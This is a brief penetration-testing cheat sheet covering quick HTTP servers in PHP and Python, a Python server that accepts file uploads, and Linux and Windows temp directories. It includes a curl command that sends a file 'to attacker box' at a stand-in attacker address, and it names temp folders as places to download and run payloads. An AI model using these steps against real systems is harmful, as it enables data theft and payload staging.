# General

## Setup HTTP Server <a href="#setup-http-server" id="setup-http-server"></a>

#### Php

```
php -S 0.0.0.0:port

Example
php -S localhost:9000
```

#### Python

```
python -m SimpleHTTPServer

python3 -m http.server [port]
```

## Advance http server supporting upload method&#x20;

* First put this code into py file and save it

```
import http.server as SimpleHTTPServer

class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
     def do_PUT(self):
         print (self.headers)
         length = int(self.headers["Content-Length"])
         path = self.translate_path(self.path)
         with open(path, "wb") as dst:
             dst.write(self.rfile.read(length))

if __name__ == '__main__':
    SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)
```

* after that run it with **python3** it will spin up the web server on port 8000 ,
* now you can upload file to attacker box with following command

```
curl -T file http://Attacker-Ip:8000
```

## Temp File location <a href="#temp-file-location" id="temp-file-location"></a>

generally temp file has writable permission , so we can use it to downlaod and execute our payloads

### Linux

```
/tmp

/dev/shm
```

### Windows

```
%systemdrive%\Windows\Temp

%userprofile%\AppData\Local\Temp
```
